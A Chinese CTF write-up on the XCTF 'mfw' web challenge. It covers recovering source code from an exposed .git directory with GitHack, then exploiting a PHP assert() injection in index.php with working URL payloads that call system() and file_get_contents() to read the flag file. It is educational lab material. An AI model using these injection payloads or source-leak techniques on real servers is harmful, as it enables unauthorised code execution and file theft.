XCTF-攻防世界CTF平台-Web类——19mfw(.Git源代码泄露php的assert断言)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——19mfw(.Git源代码泄露php的assert断言)相关的知识,希望对你有一定的参考价值。

打开题目地址:

是一个作者用php写的网站

在About页面,作者介绍他使用了Git、PHP、Bootstrap
之后我们查看页面源代码:

在每个页面的注释里都有一个隐藏页面:?page=flag,提示flag应该就在这个页面。我们也注意到home、contact和about页面都是通过访问index.php页面以GET方式的page参数来跳转页面的:?page=home、?page=contact、?page=about。
所以我们直接访问:

http://111.200.241.244:60434/?page=flag

但是没有返回任何东西,这里肯定是有问题的,只是现在还没出现
查看页面源码:

也没有什么新的发现
之后尝试扫描后台:

找到一个http://111.200.241.244:60434/.git/,作者开始也介绍他使用了Git、PHP、Bootstrap。这是创建 git 仓库时,git就会创建的.git目录。该目录包含让git能够正常工作所需的所有信息:

.git 文件夹介绍:
HEAD可以理解为指向你正在使用的分支的顶端的指针。这表明分支 (branch)和标签(tag)只不过是一个指向提交的指针。这就意味着,即使你删掉了你要删除的分支和标签,他们指向的提交依然还在那里,只不过删除后难获取这些提交更困难一些。
config(配置)该文件包含你的仓库配置,比如远程的 url ,你的邮箱和用户名等。每次你在控制台使用 git config… 都会对这里产生影响。
description(描述)供 gitweb ( github 的一种前身) 使用,显示仓库的描述。
hooks(钩子)这是一个有趣的特性。 Git 提供了一套脚本,可以在每个有意义的 Git 阶段自动运行。这些被称为钩子的脚本可以在提交 (commit)、变基 (rebase)、拉取 ( pull ) 操作的前后运行。脚本命预示着它的执行时机。如我们可以编写 pre-push 的作为钩子,进行推送代码前的检查。
info(信息)你可以将不想被 git 管理的文件记录到 .gitignore 文件中。排除文件的意思是不想共享这个文件。例如你不想共享你的 IDE自定义配置,将其添加到.gitignore 文件中即可。

存在Git源代码泄漏,可以使用Githack项目.git 泄漏利用工具,可还原历史版本,下载网页代码。
Githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码。
GitHack项目地址:Githack(https://github.com/BugScanTeam/GitHack)
工作流程
1.尝试获取 packs克隆
2.尝试目录遍历克隆
3.尝试从缓存文件(index)、commit记录中恢复

不需要安装其它 Python 库,只需要有 git 命令
使用方法:

python GitHack.py http://111.200.241.244:60879/.git/

还原后的文件在 dist/ 目录下,但是管理员没有给我们的登录开通权限,所以没办法尝试从缓存文件(index)、commit记录中恢复下载其他文件:

可以看到缓存文件index中有index.php、templates/about.php、templates/contact.php、templates/flag.php、templates/home.php,
我们可以在浏览器中也访问到他们,但是查看不到他们的源代码:

我们开始访问的home、contact和about页面都是通过包含templates/about.php、templates/contact.php、templates/home.php的代码来显示的。

下载其他项目文件是没有问题的:

python GitHack.py https://github.com/BugScanTeam/GitHack

我们直接分析index.php的源代码:

<?php

//获得GET方式page变量的值,如果没有,则设置为home
if (isset($_GET['page'])) 
$page = $_GET['page'];
 else 
$page = "home";


//将page变量拼接成一个templates文件夹下的php文件,

$file = "templates/" . $page . ".php";

//判断file中是否有" .. ",如果有则直接退出
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")

?>

strpos() 函数:
查找子字符串在字符串中第一次出现的位置

断言(assert)的用法:
assert() or
作用类似于:
if(假设成立)程序正常运行;
else报错&&终止程序!

程序通过获得GET方式page变量的值,来访问templates文件夹下的php文件,且$file文件路径不能包含“…”。
所以我们的输入就是通过GET方式的page变量,来访问templates/flag.php。利用断言的方式来执行,因为断言都写在一行,所以我们可以后面用“//”注释掉防止代码报错:

http://111.200.241.244:60879/?page=1') or system("cat templates/flag.php");//

或者其他php函数读取文件内容也可以:

http://111.200.241.244:60879/?page=`’) or print_r(file_get_contents(‘templates/flag.php’);//
http://111.200.241.244:60879/?page=') or print_r(file_get_contents('templates/flag.php');#

上面输入错误了,有两个函数有两个右括号)),少了个括号

http://111.200.241.244:60879/?page=%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));//

url编码之后可以正常执行:
?page=’)%20or%20print_r(file_get_contents(‘templates%2fflag.php’))%3b%23

http://111.200.241.244:60879/?page=1%27)%20or%20highlight_file(“templates/flag.php”);//

其他的WEB安全-常见源码泄露

参考文章:
https://baijiahao.baidu.com/s?id=1658214636190604169&wfr=spider&for=pc
https://blog.csdn.net/silence1_/article/details/89741733
https://lddp.github.io/2018/05/10/WEB-%E6%BA%90%E7%A0%81%E6%B3%84%E6%BC%8F/

以上是关于XCTF-攻防世界CTF平台-Web类——19mfw(.Git源代码泄露php的assert断言)的主要内容,如果未能解决你的问题,请参考以下文章

XCTF-攻防世界CTF平台-Web类——14supersqli

XCTF-攻防世界CTF平台-Web类——6warmup

XCTF-攻防世界CTF平台-Web类——7NewsCenter

XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize

XCTF-攻防世界CTF平台-Web类——11upload1

XCTF-攻防世界CTF平台-Web类——4Web_php_include